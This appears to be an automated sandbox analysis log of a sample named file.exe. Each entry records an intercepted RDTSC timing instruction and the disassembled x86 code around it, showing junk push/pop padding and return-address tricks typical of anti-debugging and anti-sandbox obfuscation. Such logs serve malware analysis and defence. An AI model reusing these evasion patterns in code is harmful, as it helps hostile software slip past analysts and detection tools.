Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A7641 second address: 3A7663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F061450AC2Ah 0x00000010 pushad 0x00000011 jmp 00007F061450AC2Ah 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB4EF second address: 3AB4F4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB4F4 second address: 3AB53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov di, C78Bh 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F061450AC28h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov ebx, dword ptr [ebp+1245302Bh] 0x0000002e push 00000000h 0x00000030 cld 0x00000031 mov ebx, dword ptr [ebp+122D18C4h] 0x00000037 xchg eax, esi 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c pop eax 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB53B second address: 3AB54D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F06147E5FF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB54D second address: 3AB55F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB55F second address: 3AB573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E6000h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC4AF second address: 3AC528 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F061450AC28h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 push eax 0x00000027 and ebx, 5EF83A6Dh 0x0000002d pop ebx 0x0000002e je 00007F061450AC2Ah 0x00000034 mov di, 733Fh 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F061450AC28h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 push 00000000h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b push esi 0x0000005c pop esi 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB6CF second address: 3AB6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E6009h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC528 second address: 3AC52E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB6ED second address: 3AB700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB700 second address: 3AB713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F061450AC28h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC69B second address: 3AC6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jp 00007F06147E5FF6h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD643 second address: 3AD6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F061450AC34h 0x0000000c nop 0x0000000d mov ebx, 2D150D49h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F061450AC28h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e pushad 0x0000002f mov edx, dword ptr [ebp+122D3613h] 0x00000035 mov ax, cx 0x00000038 popad 0x00000039 push 00000000h 0x0000003b jno 00007F061450AC3Ch 0x00000041 jmp 00007F061450AC2Bh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b je 00007F061450AC26h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD6C8 second address: 3AD6CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD6CC second address: 3AD6D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD950 second address: 3AD95A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F06147E5FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE7A7 second address: 3AE7AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B055D second address: 3B056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B056B second address: 3B056F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B056F second address: 3B05DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F06147E5FF8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D1AD8h], ebx 0x0000002c mov dword ptr [ebp+122D1AB2h], edi 0x00000032 popad 0x00000033 mov ebx, dword ptr [ebp+122D20B1h] 0x00000039 push 00000000h 0x0000003b mov dword ptr [ebp+122D36E0h], edi 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push edx 0x00000046 call 00007F06147E5FF8h 0x0000004b pop edx 0x0000004c mov dword ptr [esp+04h], edx 0x00000050 add dword ptr [esp+04h], 00000014h 0x00000058 inc edx 0x00000059 push edx 0x0000005a ret 0x0000005b pop edx 0x0000005c ret 0x0000005d xchg eax, esi 0x0000005e push edx 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF81C second address: 3AF820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B47A9 second address: 3B47CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6005h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b je 00007F06147E6000h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B67C6 second address: 3B6866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jg 00007F061450AC34h 0x0000000d nop 0x0000000e call 00007F061450AC2Ah 0x00000013 jmp 00007F061450AC35h 0x00000018 pop ebx 0x00000019 mov edi, dword ptr [ebp+122D387Fh] 0x0000001f push 00000000h 0x00000021 mov ebx, esi 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F061450AC28h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f adc edi, 31BD14FAh 0x00000045 call 00007F061450AC39h 0x0000004a push edi 0x0000004b jmp 00007F061450AC33h 0x00000050 pop edi 0x00000051 pop edi 0x00000052 xchg eax, esi 0x00000053 push edi 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6866 second address: 3B686C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B77C5 second address: 3B77D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B77D6 second address: 3B7810 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add di, D92Ah 0x00000010 cmc 0x00000011 push 00000000h 0x00000013 add edi, dword ptr [ebp+122D21E4h] 0x00000019 push 00000000h 0x0000001b mov edi, dword ptr [ebp+122D2AEBh] 0x00000021 xchg eax, esi 0x00000022 jmp 00007F06147E6003h 0x00000027 push eax 0x00000028 pushad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B87D6 second address: 3B87DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B49D3 second address: 3B49D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B49D8 second address: 3B49DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7A0D second address: 3B7A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B5AA3 second address: 3B5AB6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F061450AC28h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7A11 second address: 3B7A1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B5AB6 second address: 3B5AC0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F061450AC2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B8970 second address: 3B897B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F06147E5FF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B9A48 second address: 3B9A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF5BE second address: 3BF5F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6000h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jmp 00007F06147E6006h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BF5F1 second address: 3BF5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnp 00007F061450AC26h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C3F79 second address: 3C3FB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F06147E600Fh 0x0000000c jmp 00007F06147E6009h 0x00000011 pushad 0x00000012 jmp 00007F06147E6004h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3557B8 second address: 3557DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F061450AC2Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3557DB second address: 3557DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C36C8 second address: 3C36CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C36CC second address: 3C36D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C383E second address: 3C3861 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F061450AC34h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C3B03 second address: 3C3B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F06147E5FF6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C3B13 second address: 3C3B1B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C92C7 second address: 3C92CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C92CD second address: 3C9326 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F061450AC31h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnl 00007F061450AC31h 0x0000001c jmp 00007F061450AC2Bh 0x00000021 mov eax, dword ptr [eax] 0x00000023 push edi 0x00000024 jmp 00007F061450AC34h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jnl 00007F061450AC28h 0x00000036 push ebx 0x00000037 pop ebx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C93DB second address: 3C9414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F06147E6007h 0x00000008 jmp 00007F06147E5FFEh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jo 00007F06147E6004h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C9414 second address: 3C9418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CD391 second address: 3CD3CF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F06147E5FF6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F06147E5FFAh 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 pushad 0x00000018 jg 00007F06147E5FF6h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 popad 0x00000022 jo 00007F06147E600Ch 0x00000028 pushad 0x00000029 ja 00007F06147E5FF6h 0x0000002f jl 00007F06147E5FF6h 0x00000035 push edi 0x00000036 pop edi 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDE39 second address: 3CDE3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDE3E second address: 3CDE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F06147E5FF6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDE50 second address: 3CDE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CDE54 second address: 3CDE5A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE2D6 second address: 3CE2DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE5AF second address: 3CE5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CE5B5 second address: 3CE5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D3486 second address: 3D34BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6009h 0x00000007 jbe 00007F06147E5FF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F06147E5FF6h 0x00000017 jmp 00007F06147E5FFDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D3619 second address: 3D361F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D361F second address: 3D362F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F06147E5FF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D362F second address: 3D3633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D38C0 second address: 3D38C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D39E9 second address: 3D39EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D39EF second address: 3D39F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D3D21 second address: 3D3D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D3D2C second address: 3D3D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D3D30 second address: 3D3D39 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4028 second address: 3D402C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D402C second address: 3D403C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 js 00007F061450AC38h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D4384 second address: 3D43A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E6006h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D43A0 second address: 3D43B4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F061450AC26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F061450AC2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DA9E7 second address: 3DA9EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 353CD5 second address: 353CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC31h 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jmp 00007F061450AC2Ah 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E27A2 second address: 3E27A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E27A6 second address: 3E27AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E27AC second address: 3E27B6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F06147E5FFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E119C second address: 3E11B5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F061450AC2Eh 0x00000008 pushad 0x00000009 jo 00007F061450AC26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1771 second address: 3E1777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1777 second address: 3E1798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC2Dh 0x00000009 popad 0x0000000a push esi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jno 00007F061450AC26h 0x00000013 pop esi 0x00000014 push ebx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E18DE second address: 3E1900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E6000h 0x00000009 popad 0x0000000a push ebx 0x0000000b jns 00007F06147E5FF6h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1900 second address: 3E1904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1A72 second address: 3E1A76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
